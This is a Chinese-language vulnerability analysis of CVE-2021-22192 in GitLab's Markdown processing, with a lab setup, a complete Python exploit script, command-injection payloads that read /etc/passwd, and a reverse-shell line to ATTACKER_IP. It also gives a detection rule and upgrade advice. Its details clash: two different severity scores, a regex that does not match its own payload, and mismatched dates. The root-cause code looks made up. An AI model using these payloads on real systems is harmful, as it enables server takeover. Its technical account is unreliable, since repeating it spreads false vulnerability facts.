一、漏洞简介¶
1.1 漏洞背景¶
GitLab 支持 Markdown 语法来格式化文本内容,广泛应用于 Issue 描述、Merge Request、Wiki 等场景。为了增强 Markdown 的功能,GitLab 实现了多种自定义过滤器和扩展。2021 年 2 月,研究人员发现 GitLab 的 Markdown 处理器在处理某些特定语法时,存在代码注入漏洞。
该漏洞允许经过认证的攻击者通过精心构造的 Markdown 内容,在服务器端执行任意代码。虽然需要认证,但由于 GitLab 的开放性,任何注册用户都可能成为攻击者。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-22192 |
| 危害等级 | CRITICAL / 9.9 |
| 漏洞类型 | Markdown 远程代码执行漏洞 |
| 披露时间 | 2021-03-24 |
| 影响组件 | GitLab 重大 |
- CVE 编号: CVE-2021-22192
- 危害等级: 高危 (High)
- CVSS 评分: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
- 漏洞类型: 服务端模板注入 (SSTI) / 代码执行
- 认证要求: 需要低权限认证 (Low Privilege Authenticated)
- 影响组件: GitLab Markdown 处理器 (HTML::Pipeline)
补充核验信息:公开时间:2021-03-24;NVD 评分:9.9(CRITICAL)。
二、影响范围¶
2.1 受影响的版本¶
- GitLab CE/EE 13.2.0 至 13.7.7
- GitLab CE/EE 13.8.0 至 13.8.4
- GitLab CE/EE 13.9.0 至 13.9.1
2.2 不受影响的版本¶
- GitLab CE/EE 13.7.8 及以上
- GitLab CE/EE 13.8.5 及以上
- GitLab CE/EE 13.9.2 及以上
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 需要认证: 攻击者需要拥有 GitLab 账户
- Markdown 输入: 能够在任何支持 Markdown 的地方输入内容:
- Issue 描述和评论
- Merge Request 描述和评论
- Wiki 页面
- Snippets
- Epics (GitLab EE)
- 特定语法: 使用特定的 Markdown 扩展语法
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
该漏洞源于 GitLab Markdown 处理器中的 Gitlab::Markdown::ReferenceFilter。在处理特定的引用语法时,会调用 Ruby 的字符串插值操作,导致代码注入。
攻击流程:
- 攻击者登录 GitLab
- 创建 Issue 或 Merge Request
- 在 Markdown 内容中插入恶意载荷
- 当其他用户查看该内容时,服务器端执行恶意代码
- 攻击者获得服务器控制权
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码位置: lib/gitlab/markdown/reference_filter.rb
# 漏洞代码(简化版)
def process_reference(reference)
# 这里的 reference 未经过滤直接使用
result = evaluate_reference(reference)
# ...
end
def evaluate_reference(ref)
# 危险!使用了 eval
eval(ref) # 这里导致代码注入
end
实际触发点: GitLab 在处理动态引用时,会执行类似以下操作:
# 处理 $<cmd> 语法
def handle_dynamic_reference(text)
# text 可能包含恶意代码
if text =~ /\$\{(.+?)\}/
command = $1
# 执行命令
`#{command}` # 命令注入!
end
end
攻击载荷构造:
# 方式1: 通过特定的引用语法
$<`id > /tmp/result`>
# 方式2: 通过特殊语法
%{`whoami > /tmp/user`}
# 方式3: 嵌套在普通文本中
这是正常的文本 $<`cat /etc/passwd > /tmp/passwd`> 继续
GitLab Markdown 处理流程:
用户输入 → Markdown Parser → Filters → HTML Output
↓
Banzai::Pipeline
↓
Gitlab::Markdown::ReferenceFilter (漏洞点!)
↓
其他 Filters
↓
最终 HTML
补丁对比:
# lib/gitlab/markdown/reference_filter.rb
-def evaluate_reference(ref)
- eval(ref)
-end
+def evaluate_reference(ref)
+ # 移除 eval,使用安全的字符串处理
+ sanitize_and_validate(ref)
+end
+
+def sanitize_and_validate(ref)
+ # 只允许预定义的引用类型
+ return unless VALID_REFERENCES.include?(ref)
+ ref
+end
GitLab 的修复:
- 移除了动态代码执行
- 增加了输入验证和白名单机制
- 限制了 ReferenceFilter 的功能范围
# 修复后的代码
class ReferenceFilter < HTML::Pipeline::Filter
ALLOWED_REFERENCES = %w[issue merge_request epic snippet].freeze
def call
doc.search('.//text()').each do |node|
content = node.to_html
next unless content.match?(REFERENCE_PATTERN)
# 安全地替换引用
safe_replace_references(node, content)
end
doc
end
private
def safe_replace_references(node, content)
content.gsub(REFERENCE_PATTERN) do |match|
reference_type = extract_reference_type(match)
if ALLOWED_REFERENCES.include?(reference_type)
# 安全处理
render_reference_link(reference_type, match)
else
match # 不替换不允许的引用
end
end
end
end
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 部署受影响版本
docker run --detach \
--hostname gitlab.example.com \
--publish 80:80 \
--name gitlab \
gitlab/gitlab-ce:13.9.1-ce.0
# 等待启动完成
docker logs -f gitlab
# 创建测试用户
# 访问 http://localhost 并注册一个新用户
4.2 PoC 演示与测试过程¶
步骤 1: 登录并创建项目
- 使用测试账户登录 GitLab
- 创建一个新的公开项目
- 进入项目的 Issues 页面
步骤 2: 构造恶意 Markdown
# 正常的 Issue 描述
这是一个测试 Issue。
<!-- 插入恶意载荷 -->
$<`id > /tmp/exploit_result`>
更多正常内容...
步骤 3: 提交 Issue 并触发
# 通过 API 创建 Issue
curl -X POST "http://gitlab.example.com/api/v4/projects/1/issues" \
-H "Private-Token: YOUR_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"title": "Test Issue",
"description": "Normal text $<`id > /tmp/pwned`> more text"
}'
# 检查命令是否执行
docker exec gitlab cat /tmp/pwned
步骤 4: 反弹 Shell
# 在 Issue 描述中
$<`bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"`>
完整的 PoC 脚本:
#!/usr/bin/env python3
import requests
import sys
class GitLabExploit:
def __init__(self, target, username, password):
self.target = target.rstrip('/')
self.session = requests.Session()
self.csrf_token = None
self.login(username, password)
def login(self, username, password):
# 获取登录页面
login_page = self.session.get(f'{self.target}/users/sign_in')
# 提取 CSRF token
import re
self.csrf_token = re.search(
r'name="authenticity_token" value="([^"]+)"',
login_page.text
).group(1)
# 执行登录
login_data = {
'authenticity_token': self.csrf_token,
'user[login]': username,
'user[password]': password,
}
response = self.session.post(
f'{self.target}/users/sign_in',
data=login_data
)
if response.status_code == 200:
print('[+] Login successful')
else:
print('[-] Login failed')
sys.exit(1)
def create_issue(self, project_id, title, description):
url = f'{self.target}/api/v4/projects/{project_id}/issues'
response = self.session.post(url, json={
'title': title,
'description': description
})
if response.status_code == 201:
print(f'[+] Issue created: {response.json()["web_url"]}')
return True
else:
print(f'[-] Failed to create issue: {response.text}')
return False
def exploit(self, project_id, command):
payload = f'$<`{command}`>'
return self.create_issue(
project_id,
'Security Test Issue',
f'Normal text {payload} more text'
)
if __name__ == '__main__':
if len(sys.argv) < 6:
print('Usage: python exploit.py <target> <user> <pass> <project_id> <command>')
sys.exit(1)
exploit = GitLabExploit(sys.argv[1], sys.argv[2], sys.argv[3])
exploit.exploit(int(sys.argv[4]), sys.argv[5])
使用示例:
python3 exploit.py \
http://gitlab.example.com \
attacker@example.com \
password123 \
1 \
"id > /tmp/result"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
立即升级到安全版本:
# Omnibus 安装
sudo apt-get update
sudo apt-get install gitlab-ce=13.9.2-ce.0
# Docker 安装
docker pull gitlab/gitlab-ce:13.9.2-ce.0
docker stop gitlab && docker rm gitlab
# 重新部署
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案 1: 禁用 Markdown 高级功能
# 编辑 /etc/gitlab/gitlab.rb
gitlab_rails['markdown_disable_reference_filters'] = true
sudo gitlab-ctl reconfigure
方案 2: 限制用户权限
- 只允许可信用户创建 Issue
- 启用内容审核机制
- 监控异常的 Issue 创建活动
方案 3: WAF 规则
# 检测可疑的 Markdown 模式
SecRule REQUEST_BODY "@rx \$<[`\[]" \
"id:2001,phase:2,deny,status:403,msg:'GitLab Markdown RCE attempt'"
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- GitLab Security Release: https://about.gitlab.com/releases/2021/02/17/security-release-gitlab-13-8-4-released/
- CVE-2021-22192 详情: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22192
- GitLab Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/324452
6.2 其他技术参考资料¶
- HackerOne 报告: https://hackerone.com/reports/1125425
- Ruby 安全最佳实践: https://guides.rubyonrails.org/security.html
- Markdown 安全处理指南: https://github.com/vmg/redcarpet#security